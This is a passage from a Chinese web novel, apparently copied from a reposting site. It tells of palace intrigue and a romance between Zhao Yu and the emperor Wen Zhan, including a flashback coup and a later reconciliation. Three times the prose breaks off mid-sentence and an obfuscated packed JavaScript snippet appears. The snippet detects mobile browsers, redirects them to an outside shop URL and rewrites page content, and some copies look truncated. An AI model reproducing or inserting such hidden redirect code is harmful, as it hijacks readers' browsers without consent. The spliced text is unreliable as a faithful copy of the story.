文湛又翻了一页书,“崔侯,毕竟也只是亲戚,……”末了,加了两个字,“而已。” 似乎从小到大,文湛一直不待见崔珩,一直到现在,还是看不惯。于是,赵毓拍了拍他,“我亲娘是他亲姑姑,杂碎骨头连着筋,不只是亲戚而已,别这么小气。” 文湛又翻过一页书。 赵毓起身,“对了,你不是说要去大本堂住两天,那里打扫好了吗?” “好了。”文湛合上书。 “走吧。” “嗯。” 雍京小行宫。 这是在禁宫高墙外,御花园后面,另外扩了一个园子。 有温泉,有湖面,有红莲,有水榭歌台,还有参天的柏树,甚至还有山头,里面散养着梅花鹿。这里是仿照江南园林建的,原本是帝王行宫,因为不如陪都洛阳的行宫朱雀宫大,所以大家都叫这里小行宫。 其实它还有一个非常正经的名字——大本堂。 大本堂和毓正宫一样,原本就是太子读书的地方。 这里有很多很多的书,珍本、善本、海内孤本,不但如此,这里还存放着一些外来的刻本。只是这些番邦倭人是在太笨,汉字都学不全,刻出来的字不是一个个的缺胳膊少腿的,就是一个一个的钩钩圈圈的,看上去甚是猥|琐。 不过,这里只有好书,没有好玩的人。 这里的人都是诸如什么内阁的大学士,侍读学士,国子监的祭酒,外加一些隐居山林或是雍京闹市或是朝堂上的那些硕儒名士。一个一个都是当年内阁首辅政杜皬油的爆阳澄湖大闸蟹的做派,摇晃着脑袋瓜子曰’经史、子曰,……’ 不过,自从文湛登基之后,这里就彻底变成了帝王行宫,外人无法进来。 赵毓在湖边钓了半天鱼,没有半分收获。黄枞菖帮着他,他们折腾了半天,才用笊篱捞上来一条草鱼。 赵毓拎了拎,“看着还挺肥美的,有两斤了吧。” 黄枞菖,“红烧?” 赵毓摇头,“把鱼肉片下来,打边炉。” 黄枞菖,“啊,那是啥?” 赵毓,“火锅。” 黄枞菖,“呃,……,祖宗在外面时间久,总有一些新鲜花样,连吃火锅都说的这样清新脱俗!” 这两个拎着活蹦乱跳的草鱼向回走。 没想到,他们在回廊的尽头看见一少年,全身是白色的缂丝锦袍,绣着龙纹。 “糟糕,太子!”黄枞菖忽然想起来,“今天太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728879|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子奉诏晋见。内阁司礼监抄送了内阁的邸报,太子过来送功课的。我想着他觐见完毕就回宫了,没先到在这里遇到了。祖宗,您不见太子就绕个道,我得去磕个头。” 那边,储君已经看到了赵毓,和黄枞菖。 赵毓。 两年前,景王勾结禁卫军统领反|叛,南苑围猎的时候变起肘腋,皇帝杀出重围却重伤昏迷,当日文湛弥留之际只是模糊的念着一个人的名字。太子听不明白那个名字是什么怡,但是,柳丛容听得明白。 于是,三天后,太子就见到了那个人。 赵毓。 那时,太子还不是太子,他还只是一位没有王爵没有恩宠的皇长子,即使他是皇帝唯一的儿子。 当时,他的侍读学士在皇帝寝殿外对他说,“大殿下稍安勿躁,一定要学会审时度势。除去景王,现如今在京的亲王有五位,哪位都比您资历深厚,一动不如一静,您要学会坐山观虎斗,才能立于不败之地。” “杀了他。” 赵毓陡然打开大殿的雕花门,一脚踢翻了侍读学士,扔过来一把长剑。 “妖孽,狐媚惑主的妖孽!”侍读学士被他踢的起不来,只能爬在殿门外,颤抖的手指指着赵毓,想要骂,也骂不出什么花活,只是旧话翻来覆去的说,“国之将亡,妖孽尽出!” 赵毓一脸苍白,他却不看那个骂他的侍读学士,一双眼睛只是盯着大皇子。 “你是我父皇的男|宠,你想杀人灭口?” “我不是你父皇的男|宠,我现在对杀人灭口这种小事也没有兴趣。” 赵毓指着那个侍读学士厉声说,“我让你杀他,是因为他作为毓正宫的学士,却教你一些人浮于事的混账道理!他是臣子,他可以坐山观虎斗、趴在桥头看水流,只要躲过这场灾乱,他可以另捡高枝,转过天,他照样可以高官厚禄! 可是你不行。 你父皇就躺在寝殿里面,随时可能会死。只要圣上一出事,天下无主,在京的亲王,外面手握兵马的藩镇顷刻之间就可以将祖宗留下的千年社稷陷入万劫不复!” “杀了这个人,换上你的朝服去微音殿,坐在那把椅子上。让朝野看看,皇族还有人。” 大皇子恐惧到颤栗,“你让我谋朝篡位!?” 赵毓,“我没有让你谋朝篡位。” 大皇子,“可是,如果我今天坐上去了,明天,不,也许今天晚上我就可能会尸骨无存。” 赵毓,“我知道。” 大皇子,“那你还要让我去做?” 赵毓看着大正宫那暗无天日的夜空。 他的声音是平静的,如同冰一样平静,却是死寂的。 “身为大郑的皇子,要有不惜一切代价维护社稷的决心。如果你没有,我另找有这样决心的人去坐那把椅子。” 大皇子看着脚下那个颤抖的侍读学士。他刚才还是那样自以为是的睿智,仿佛天下就是他手中的一盘棋,他可以安稳的端坐彼岸,看着他们这些王侯将相凤子龙孙厮杀决斗。 大郑皇子幼年习武,大皇子年幼,可是却拿的起那炳利剑。 他在侍读学士恐惧破碎的眼神中,将那柄利剑插入他的胸膛,滚烫的血溅了出来,染红了他的双手。 大皇子抬头,看着不远处的赵毓。 赵毓眼睛中有一丝的悲悯,只是,随即这丝悲悯立刻消逝了,无影无踪。他再也没有任何表情,安静的的仿若一个早已经死去的人。 大皇子将所有的恐惧都埋在心底。 他去了微音殿,有内阁首辅大臣楚蔷生在,他甚至不需要说话,他们就在那里支撑了三天。 第四天,定国公裴檀宁淮侯崔珩率重兵回防京畿。 第七天,他父皇苏醒。 第八天,皇帝下旨册封大皇子为太子,正位东宫。 从那之后,太子再也没有见过赵毓,其实他想要再见他一面,他有一句话想要问问他,但是,那个人却一直避而不见。 此时,那个人在回廊彼端。 他见了自己,远远深施一礼,那是臣子见储君的礼数,随即,他拎着草鱼,转身离去。 22. 番外·和好 22 番外·和好 这次是叛|乱。 文湛自登基之后,不知道躲过了多少次暗杀,这一次却被他的禁卫军统领用重兵围在南苑。 也许他当真是紫微帝星,最终,他活下来了。 身上的伤却如同泥沼一般。 极重。 高热。 昏迷。 他活着回到了大正宫,但是他不知道自己是否能活着清醒过来。 然后,他见到了承怡。 也只有这个时候,他才能看到他。承怡似乎一直都在他身边,从来没有远离过,他知道这就是幻觉。因为,承怡一直在他心中,只有当他的神志没有那么强悍控制力的时候,他才能看到心底最赤|裸的最真实的欲|念。 他似乎从来没有得到过他,却已经永远失去了他。 当年那些温情美好耳鬓厮磨全部是幻象。 十年。 毫无承诺,毫无希望。 永远没有结果。 他等了承怡十年,到如今,不过将第一天就知道的结果,用十年的时间,慢慢让自己接受而已。 那是个表面温和绵软,实则异常倔强的人已经走了很远,只有自己还留在原地。 文湛不知道自己真正死亡之后,是否还能看到承怡。 但是,此时他活着,幻觉一般的人一直在他眼前。 不知道多了多久,他似乎睁开了眼睛,寝宫顶端的帷幕垂下,黑色和金色丝线交结在一起织成繁复的图案。 血腥的味道,交杂着草药的味道,还有禁宫名贵的香料,几种气味混杂,交织到一种浓重压抑到无法透气的程度。 一只手探在文湛的额头。 “醒了?”这个声音似乎有些陌生,又却奇异般熟悉。 “呃。”文湛感觉自己似乎高声说了一声,其实不过是呓语一般轻。 “你儿子就在微音殿。楚蔷生控制住了整个朝局,雍京城外是裴檀和崔珩的军队,他们把雍京城搜了十几遍了,几乎可以确定已经将这次叛|乱的所有人尽数关押。你醒了他们就安心了。” 闻言,文湛陡然睁开眼睛,他看见,——承怡就坐在自己床边,似乎是面无表情看着自己。 烛光下,他眼睛旁边那颗艳红色的泪痣血滴凝结一般! “你!……” “是我。” 文湛的手指想要抓承怡的手腕,却被他闪过,只能攥住他的袖子。 “你回来,是为了看我到底死了没有?” “……” “你不怕我死之前看见你,一道旨意让你殉葬?” “……” 承怡将他的手指拉开,起身,对身边跪着的柳丛容说,“李医正不是说陛下只要醒过来,应该就没有大碍了吗?我看他醒了,说话声音不高,倒是很连贯,你们应该可以放心了。这里没我什么事了,我走了。” 柳丛容,“您已经七昼夜没合眼了,现在主子已醒,您也赶紧休息休息。” “我去趟寿春宫,看看太贵妃。”说完,他甚至没有再回头看文湛一眼,径自离开。 文湛慢慢抬手,捂住了自己的双眼。 他甚至还能感觉到额头上留着承怡手心的温度。 崔太贵妃目前是后宫中位分最高的女人。她的寿春宫有自己的灶台,似乎不用打开门,就可以自己在自己的一方天地中自得其乐。 赵毓早已经不用承怡这个名字。 他娘崔太贵妃也是快六年没有见过他了,这次知道他回来,心中一喜一忧,只不过在见到他之后,却什么话都说不出来。 “皇上醒了?” “嗯。” “阿弥陀佛,我给他念了七天的经,真不希望他就这么过去。” 即使,文湛与太贵妃之间有灭不掉的恩怨,但是谁也不希望皇帝真正出事,导致烽烟四起,山河破碎,百姓流离失所。 一桌子好菜。 太贵妃顾不上自己吃,一个劲向赵毓碗里放肉丸。 “吃,多吃一些,这些都是你最爱吃的,再多吃一个。” “好。” “你那个闺女,跟着你回来了吗?” “没有。这次事情太凶险,万一陛下醒不过来,整个雍京就乱了,花骨朵还小,我不能让她卷进来。闺女现在就在云中,跟着她外祖母过得挺安稳的。” “哦。尹家对你闺女好吗?” “好。她跟着尹家能教养得像个大家闺秀,我养闺女可养不了那么精细。” “那就好,那就好。” 崔太贵妃看着他儿子低头吃东西,那双手端着碗,拿着筷子,不紧不慢。 “儿子,你这次回来,皇上看见你了吗?” 赵毓停了一下筷子,夹了一片鱼才点头,“嗯。” “他,没说什么吧?” “没说什么。” “哎,那我就放心了。”崔太贵妃此时悬着心才算真正落地,“这么多年过去了,当年你们胡闹的事情,估计他都忘了。儿子,听说我,其实人这一辈子很短,你已经熬了十年,等你那闺女嫁人,你再续弦,生几个孩子,一家人和和美美的,这一辈子也就过去了。当年你爹死的时候,我就是这样一天一天过来的。” 闻言,赵毓忽然放下碗筷,“……熬了十年,……” 这句话异常蹊跷,像是问崔太贵妃,又像是自言自语。 那天夜里下了暴雨,即使多日未睡,但是赵毓还是无法合上眼睛,他就站在寿春宫的廊檐下,看着暴雨浸透的大正宫。 这是他出生的地方,是他童年的乐土,还有,似乎他全部的回忆,无论是好的还是坏的,最深刻的,入了骨血的回忆都是在这里。他原本以为自己可以抛开这一切,只是,当他再看到这里,明白,这就是他生命也是他身体的一部分,已经同他长在一起了,切割掉,就会把他彻底毁坏。 赵毓一站就是一夜。 文湛没有想到还能再次看到承怡。 皇帝靠在锦绣靠枕上,看见大殿外的赵毓让柳丛容通传,问问圣上是否愿意见他。柳丛容进来,没有说话,只看了皇帝的脸色一眼,连忙出去请赵毓进来。 文湛就这样看着赵毓一步一步走进来,却在二十步远的地方停下。 他看着他。 “你要我跪吗?” 赵毓感觉自己必须问一下。 其实,无论他是不是被褫夺了王爵,即使他现在依然是大郑亲王,见文湛都需要跪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728880|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,更不要说如今他这个庶民身份了。按照大郑国法,庶民即使在皇帝文湛面前下跪需要五体投地,甚至连抬头看文湛的资格都没有。 只是,…… 现在,…… 他想要说的事情,…… 文湛还是不说话,就这样看着他。 赵毓也看着他,“那我不给你跪了,因为好像我每次给你跪下的时候,你都挺生气的,虽然那是大郑的国法。我过来和你说一声,我要离开雍京了。” “不用说了,你走吧。”文湛打断他。 “听我说完。” 赵毓交给柳丛容一个盒子,让他拿过来双手给文湛。 “我在冉庄有一个院子,地址在,……,黄枞菖知道,我感觉柳丛容也知道,你也应该知道。今后我就住在那里。不过,我怕你不知道具体在哪里,还是画了一张图,虽然不太好看,但是应该能看清楚地方,那个标着红色朱砂圆圈就是我的小院子。” 文湛打开盒子。 里面是一张丝绢地图,还有一把钥匙。 赵毓,“这是我院子的钥匙。你要是没事的时候可以过来看看。我一般都在家。要是我出去喝酒打牌什么的,你要是愿意等我,可以自己开门进去。” “这算什么?!”文湛暴怒,他扔了那个盒子,它一直骨碌,到了赵毓脚边,裂开,成为碎片。 赵毓弯腰把地图和钥匙捡起来,放在手边的桌面上,“前些天,我知道你会死,忽然有一种感觉,自己似乎也无法活下去,……。我把东西留在这里,如果你不想要,……,扔了就好。雍京我不太喜欢,今后我也不想住在这里。冉庄那边是我母亲的故乡,我住那里,总的来说还算合适。我走了,西北还有一些事需要善后。大皇子人不错,你多保重。” 赵毓走后很久,柳丛容一直等待着皇帝的命令,这张地图还有钥匙是扔了,还是再给他拿过去。 只是,文湛一动不动。 夜幕垂下。 文湛忽然强撑着站起来,柳丛容连忙过来扶他,却被他一把推开。他自己一步一挪到桌子旁边,伸手,将那封丝绢地图和钥匙攥在手心中,用力,狠狠攥住。钥匙的切口扎到了他的手心,血滴流淌出来,温热的,他那颗早已经被熄灭成灰烬的心,又恢复了跳动。 赵毓也不知道是否能等到文湛。 他从西北回到冉庄,这几个月,雍京似乎被血洗了一遍又一遍。不过,好消息是,皇帝一苏醒过来就下旨立了储君。国家有根本,于是,人心就在动荡当中逐渐平稳了下来。 盛夏,一个傍晚。 赵毓去河边钓鱼,弄了一天一无所获,他回家之前去后街买了两尾活鱼,拎着往回走,一到门口,发现院子门是被打开的。 他推开门。 看见那个人就站在他的院子中。 也许这是文湛第一次到冉庄这种乡土地方,不知道什么样子的衣袍合适,于是,虽然已经换上了自己最朴素的衣服,依然显得同这里格格不入。他身上素色贡品绸缎长袍,一个袖子,就能买这里一个院子。 “你来了?” “嗯。” “我钓了两条鱼,晚上给你烧着吃。” 良久,…… “好。” 23. 23 23 石恺到兰叶巷赵毓门前,他见大门紧闭,就上石阶敲了两下,没想到,大门被打开。里面出来一个看起来很粗鄙的烧火的大妈,眼角垂着,嘴角上扬,像个无锡那边的大阿福。 大妈上下看了看石恺,“你谁啊?” 石恺,“这里是赵毓赵先生府邸?” 大妈,“俺家老爷倒是姓赵,叫啥,俺就记不清了。” 石恺,“你家老爷在家吗?” 大妈摇头,“不在。” 石恺又问,“出门了,去哪了,什么时候回来?” 大妈盯着石恺,“俺要是知道老爷干嘛去了,俺就不烧火了,俺就是老爷了。” 石恺见她这样也的确没辙,本来他想要发火,可是见这位大妈虽然看起来粗,脸上却一直带着笑,俗话说伸手不打笑脸人,他感觉自己要是发火,都不太对劲。但是,要让他就这么走了,他也不甘心。 于是,他问这个笑脸大妈,“你是不是把客人赶走了,很开心?” 大妈摇头,“五年前,俺家那个老不死的跟一个给人缝裤头的寡妇私奔,俺就不知道啥是开心了哩。” “……” 石恺见这里找不到赵毓,就转道去永嘉会馆。 他终于打听了出来,那天跟在赵毓身后一直没有说话,做派同雍京这边的贵人们不一样但是自成风流的人,就是十三行的周熙。结果,他也没有见到周熙。石恺这才知道,能够执江南十三行牛耳的永嘉周熙也不是简单人物,不是他这种纨绔子弟能轻易搭上线的。 石恺在雍京北城转了三圈,实在感觉无聊,就打道回府。 一回到侯府,他才知道他那个嫁给吉王做续弦王妃的姐姐回来省亲,正在花厅坐着同他们的亲娘闲话家常。 “我们家那位老王爷,心里想着要争气,其实也不争气。” 石恺唯一的姐姐吉王妃纤纤玉指拿着一碗参茶,闲闲的说着话。吉王妃不是一位沉鱼落雁闭月羞花的美人,但是毕竟是侯门公府的千金,出嫁后又在亲王府养尊处优了几年,日子过的富贵了,人就有了一种气度。她说话的时候也是柔声细语的,这样,才能让人静心用心去听。 “他倒是想着位高权重,可惜,血统太远,老祖上是盛元帝的儿子,现在也就辈分上挂着一个皇叔的称号。虽然他也是在京的亲王,可是除了一座王府,京郊的几处庄子之外也就没别的了。他都不要比雍王这样的小辈,就比定国公宁淮侯这些权臣都比不来。他对圣上交待的事情倒也精心,只是,圣上让他做的都是一些烧香烧猪祭天这些事,就算再精心,又能有什么前途?” 此时,王妃与石恺的母亲随侯夫人连忙说,“怎么,圣上看不上吉王?” 王妃放下参茶,随便换了一个姿势,显得犹如花照水一般,“圣上也不是看不上我们那位老王爷,圣上是根本看不到他。” 侯夫人则说,“平淡有平淡的好处。你别看着那些王公们,一个一个的烈火烹油似的,晚上也不一定能睡个安稳觉。” 吉王妃一笑,“娘可不要这么说,别看我们那位老王爷资质平庸,心可大了。他在朝堂上窝囊,可把皇上那套什么制衡什么的帝王心术都弄王府里来了。 老王爷把世子弄的每天疑神疑鬼的,好像我这个后娘总是想要害他似的。我儿子源儿还小,我只想着源儿平平安安长大,还真没有想去和世子争什么,谁知道,世子妃刚娶进门,就想要夺我的主持中馈的权。 这下好了,世子,世子妃,源儿还有我,都成了老王爷手中的棋子了,哪个都需要去巴结他!他到好了,真正就是稳坐钓鱼台。” 吉王妃说着一抬头,见到石恺,“哟,弟弟来了。” 石恺进来,先是行了礼,随后做好,轻笑着说,“原来还以为姐姐去了吉王府是掉进福窝了,没想到也有这么多烦恼?” “家家有本难念的经。”随侯夫人说完就问石恺,“你终于舍得回来了?” 石恺一摊手,“看娘这话说的,我怎么叫终于舍得回来了,我这些天不是天天在家待着呢吗?” 吉王妃见侯夫人和弟弟两个人说话不太对劲,就问,“怎么了,弟弟又闯什么祸了?” 侯夫人则说,“到不是说闯什么大祸,他不知道跟人家有什么过节,在四大皆空坊设了赌|局把人家的小舅子给套住了,结果,人家一上赌|桌,连着十二个时辰废了他手下四个牌桌上好手,直接把账给抹平了。这是人家没下手,人家要是心歪一些,让你欠个大数目的账,到时候,你爹你哥哥就得卖房卖地去救你。没有不透风的墙,这要是让御史知道了,再写折子参你老子,到时候你就知道厉害了。” 吉王妃有些不以为然,“我当是什么大事,小孩子家的胡闹。娘您也别心急,父亲在朝堂上有实权,我在王府也算有些颜面,等闲的人一看咱们这样的人家就知道退让一些的。再说,人家不是也没做什么吗?” 侯夫人摇头,“真到人家做什么的地步,就晚了。”她又开始教训石恺,“雍京北城卧虎藏龙,这些住的人不是王公贵戚,就是有实权的封疆大吏,你别看人家的小舅子年幼可欺,人家到底是个什么路数,你也弄不明白。多一事不如省一事,多在家看看书,你老子也就省心了。” 吉王妃,“说的这么热闹,弟弟,你套的是谁家的小舅子?” 石恺,“他就是一个平头老百姓,什么都不是。他老岳父当年倒是有名有姓的,不过现在也不成了。他老丈人在北疆摔断了腿,早回老家了,现在也就是闲人一个。” 此时,外面有丫鬟给送过来桂花酸梅汤,吉王妃端起来轻啜了一口,“这位老岳父是哪位大人啊?” 石恺,“原来的兵部尚书兼宣大总督,尹明扬。” 啪!—— 闻言,吉王妃愣是没拿住酸梅汤的青花瓷碗,直接磕在地上,汤水四溢,让她那条名贵的缎子绣金线的海棠花色裙子上平添了一抹深红,好像是飞溅起来的血,浸染了她的绣裙。 吉王妃,“你说那个人,是谁家的女婿?!” 侯夫人见她女儿声音都有些劈,“怎么了,这是怎么了?” 石恺也纳闷,“尹明扬尹家的女婿,叫赵毓。” 吉王妃抬手捂住胸口,“娘,弟弟,有些话我不能说,说了就是灭族的大罪。赵毓这个人,不能惹,真的不能惹。” 石恺一愣,“怎么,他有三头六臂?” 侯夫人比她小儿子到底多了吃了几年的米,她一看王妃这幅尊容,立刻心中有了盘算,“我们借着这个因头去巴结巴结?俗话说不打不相识,恺儿只不过和人家有了一些过节,又没有结成仇敌,摆了酒,请人家上门聊聊,再送些大礼,要是能化解,这也算是一桩好事。你看,成不成?” “不成!”吉王妃果断拒绝,“这个人不但不能得罪,也不能去巴结。现在看,人家好歹没有跟弟弟计较。娘,让父亲,哦,不让哥哥出面请人家喝一顿酒。要是父亲出面,人家驳了咱们的面子就没有转圜的余地,哥哥是侯府世子,虽然没有父亲贵重,但身份也能拿得出手了,他去最合适。咱们家礼别送,酒可以多喝,算是咱们赔了礼,告诉人家一声,以后见了面绕着人家走也就可以了。” 石恺嚎,“这个赵毓是什么人啊?!” “弟弟,别问了。”吉王妃轻叹,“有些事情不扯开也就是一片鸿毛那么轻,要是扯开了,一整座泰山压过来也不为过。” …… 大本堂有湖,临靠近水面有一座精雕细琢的竹楼。 赵毓说,今天晚饭在这里摆,正好可以看着满湖面的红莲吃打边炉。 文湛沿着台阶走上去,看见柳丛容站在门口。于是,他问了一句,“你怎么站门口?” 柳丛容想要说话,可是又不知道要说什么,就低头回了一句,“主子自己去看吧。” 屋子里面只有赵毓与黄枞菖。 赵毓正在杀鱼。 平心而论,他不是一个很好的厨子,当然,他做的饭文湛会毫不犹豫的吞下去,但是没有人否认,他的手艺同御厨相比,犹如云泥。 赵毓想要把鱼片的很薄,这样吃打边炉的时候只要用筷子夹着在滚水中一汆就好,只是,想法是好的,现实比较残酷。赵毓刀工不太稳,鱼片切的薄薄厚厚,什么样子的都有。 可是,…… 黄枞菖在他身边,口灿莲花,“哟,祖宗这个刀工,那简直就是灶王爷临世,厨神再生。我想着,就是当年的名满天下的名厨凤晓笙也就您这个水平。看,这一刀下去,锋利,漂亮,直接把鱼骨头全剁开了,那叫一个好,那叫一个妙,那叫一个呱呱叫!” 文湛就在门口,有些听不下去了。 赵毓终于把鱼肉完全片了下来,松了口气,“黄瓜,在御前你也这么说话?” “那不能够。”黄枞菖挺有自知之明,“我在陛下面前绝对没有半句废话。不然,御史那群鸟官肯定骂我妖言惑众。” “你别白话了。”赵毓将鱼肉全部放在竹子编织的托盘上,“让他们准备好高汤,一会儿等皇上过来就可以涮着吃了。” 他转脸看见了门口的文湛,正要说话,柳丛容从台阶上来,“主子,宁淮侯来了。” 赵毓同文湛没说什么,只是点了点头,文湛转身下了竹楼。 崔珩已经跪在书房中。 文湛,“起来,长话短说。” 崔珩站起来,垂手站立一旁,“前延绥镇守将军何晋在诏狱一直喊冤,他坚持说自己的虎符被盗,蒙古鞑靼进犯绥靖的时候他调不到援军,回雍京请旨又实在来不及,于是孤军作战,最后力不能及,只能先出城。当然,作为镇守主帅,他弃城而逃,致使十万民众落入敌手,这是板上钉钉的死罪,只是何晋的虎符被盗也是蹊跷。裴檀克复绥靖之后,将原延绥镇守将军行辕的大小官员押解回雍京,缇骑秘审了这些人,他们也都说虎符被盗,并且裴檀也的确没有带回虎符。” 文湛,“所以,延绥镇守将军的虎符就不知所踪了?” 崔珩,“更蹊跷的事情在这里。” 他双手拿过一个盒子交给文湛身边的柳丛容,让他放在书桌上,并且打开盒子。 这里面是一个牛皮袋子,还有,一尊黑金虎符。 崔珩,“这是承怡那日用细链i弩i箭从洪丁也就是浑·撒怜丁身上套出来的东西。一个牛皮袋子,里面装的就是何晋所说的虎符。只是,它并不是延绥镇守将军的虎符,而是,……” 文湛看了一眼虎符,他自然知道这是什么,属于谁。还有,他不喜欢这个东西失而复得的过程,看也不想多看一眼,于是让柳丛容合上了那个木盒子。 他说,“将在外君命有所不受,那些手握重兵的藩镇将领都有便宜行事的权力。何晋求援,附近城池的驻防将领们只要确定前方战事紧急,就可以出城驰援,不一定要看何晋的虎符,也不一定要等雍京的旨意。不然,前方城池丢失,他们要是再无法守住自己的地方,罪责可滔天。这么看来,绥靖后面的驻防将领也是有意思,那是谁?” 崔珩,“随侯石寰。” 文湛只是做了一个手势,表示,朕知道了。 此时,黄枞菖在书房门外等候,文湛让柳丛容把他叫进来,就问,“有什么事?” 黄枞菖躬身说,“主子,王爷知道崔侯过来,让他回完了事去竹楼一趟。” 承怡,王爷,……,似乎在这几个人组成的世界中,赵毓的身份依旧,没有任何改变一般。 闻言,文湛看了看崔珩,而崔珩只是低着头,看不到眼睛,也看不到脸。 文湛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728881|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一摆手,“你去吧。” 崔珩跪安。 黄枞菖在前面领路,崔珩上竹楼之后,发现赵毓就坐在栏杆上正在吃瓜。 这是拿着兵部勘合从西疆瓜沙肃兰八百里疾程运过来的蜜瓜,甘甜沙脆,咬下去汁水四溅,齿颊留香。雍京城的那些王公显贵们,分到一两个瓜都让人小心翼翼的切成片,一口一口小心品尝,绝不浪费,而眼前这位,…… 赵毓像个松鼠一样,啃这种瓜跟啃窝瓜没什么两样,吃的他嘴巴子都歪了。 “一骑红尘妃子笑也不过如此,再这样下去,……哎。”崔珩装成一副西子捧心的样子,那句话’从此君王不早朝’愣是没敢说,他表演着痛心疾首,问,“说吧,让我过来做甚?” “我让厨子给你打了两盒子点心,红豆莲蓉米糕,你的最爱。” “倒是我最爱吃的东西,那我收了。”崔珩也不装了。此时,黄枞菖拿过来拿两个食盒递给崔珩,一打开,里面是点心和两个蜜瓜。 赵毓,“那就没啥事了,我还要在这里住几天,你回去吧。” 崔珩看着赵毓,“别说,还真有件事。周熙那里攒了局,三天后,四大皆空坊。他找不到你,于是请客票送到我那边去了。” 赵毓,“周熙请我?” 崔珩,“不是,是有人请周熙出面请你喝酒。” 赵毓,“谁啊?” 崔珩,“猜?” 赵毓,“最近和我有过节的人,……,呃,石恺?” 崔珩,“错。这次出面的是石恺的哥哥,随侯世子石慎。他好像要和你说什么事。” 赵毓,“我同他又不认识,也没什么好说的。不过,既然人家都动用了周熙请客了,这酒我肯定去喝。对了,周熙那边叫局了吗?” 崔珩看了他一眼,“没,他没敢。” 赵毓,“让周熙叫局。三山书寓的屠明珠,色艺双绝,弹的一手好琴,这次让周熙一定要把她请过来,再来几个下海之前会吹拉弹唱的倌人。到时候,大家喝酒,那帮子倌人们在旁边凑趣,场面一热闹,那位随侯世子是大事说不出口,小事说不清楚了。等大家喝上了头,各回各家,各找各妈就得了。” 崔珩,“成,有你这句话,我让周熙去做。不过,你怎么知道屠明珠?你最近又出去喝酒了?” 赵毓,“当时想着给我闺女找个琴技老师,听过这位弹过琴,有大家风范,相当不错。” 崔珩,“给千金小姐找个倌人做老师,你还真敢想。” 赵毓,“人家做哪行是人家的事。” 黄枞菖在旁边插i了一句嘴,“祖宗,侯爷,什么是叫局,是不是就是喝i花i酒?” 赵毓瞪了他一眼,黄枞菖一缩脖子,进屋准备饭食去了。 掌灯。 赵毓借着灯光看着崔珩,忽然抬手靠近他的脸庞。 崔珩后退了一步,“你手上都是甜汁水,别摸我,省的招蚂蚁。” 赵毓连忙想要用袖子擦手, “别用袖子擦。”崔珩说,“你身上这衣服是制造局从江南带回来的,湖州丝,因为是御用,所以当地织户精心织的,名贵异常,擦了手就太可惜了。我给你找帕子。” “不用,我这里有。” 崔珩刚从袖子中拿出来他的帕子,就看见赵毓从袖子中也扯了一方白色的丝帕出来。崔珩久在制造局,一眼就看出那帕子是白色的底上面横竖织就的翔鸾纹,这是御用的料子。他在帕子的一个角落上看到了两个字,黑色编金丝的线绣成用了大篆字体,——文湛。 崔珩将自己的帕子放回袖中。 赵毓用丝帕沾了水,把手擦干净,就凑到崔珩耳边,在他的鬓角拔下一根苍灰色的头发。崔珩的头发又粗又硬,这根苍灰色的破败的发丝也一样,赵毓拿在手中,都感觉会扎破手指一般。 赵毓叹口气,“名将自古如美人,不许人间见白头。” 崔珩不以为然,“我算什么名将,一直在讨生活而已。这世上谁也逃不出生老病死,我说,你也别悲春伤秋了,有那闲工夫,还不如多吃几碗白饭。” 赵毓点头,“也对。” 崔珩,“你的点心和蜜瓜,谢了,我得走了,我回去还有一大堆事要做。哎,苦命。” 文湛等崔珩离开竹楼,绕过湖面,走到红莲桥才上楼。 他一登上回廊,就听见黄枞菖追着赵毓问,“祖宗,你们说的那个叫局是不是吃花酒?当年绿直跟着崔侯下江南,那锦绣风流的阵势,他回京之后还怀念了很多年呢!” 赵毓没搭理他,见文湛回来了,就让黄枞菖他们滚了高汤,开始吃饭。虽然赵毓的刀工太烂,但是鱼肉新鲜,文湛捧场,一顿饭吃的也是和和美美的。 赵毓用筷子夹着片下来的鱼肉,在滚水中涮两下就拿出来,直接放在文湛的碗里,问,“味道还成吗?” 文湛,“挺好。” 赵毓,“你喜欢吃就好。” 文湛,“嗯。” 赵毓又夹了一片鱼肉烫好,沾了酱汁给自己,他就着米饭吃的很香甜。 文湛又问,“刚才,崔珩靠你那么近做什么?” 赵毓想了想,“我看见他有白头发,给他揪了。” 文湛,“哦。蜜瓜好吃吗?” 赵毓点头,“好吃。” 文湛,“方才黄枞菖问,叫局是什么意思?” 赵毓,“……” 文湛听他不说话,又说了一句,“你还喝花酒?” 赵毓,“不能翻旧账。” 文湛看了看他,“我怎么觉得,这不是旧账?” 赵毓扒拉了两口鱼肉和米饭,不再说话。 文湛忽然笑了,“说我方正,看见那些禁宫秘药耳朵会红,我看你心虚,耳朵也红了。” 24. 24 24 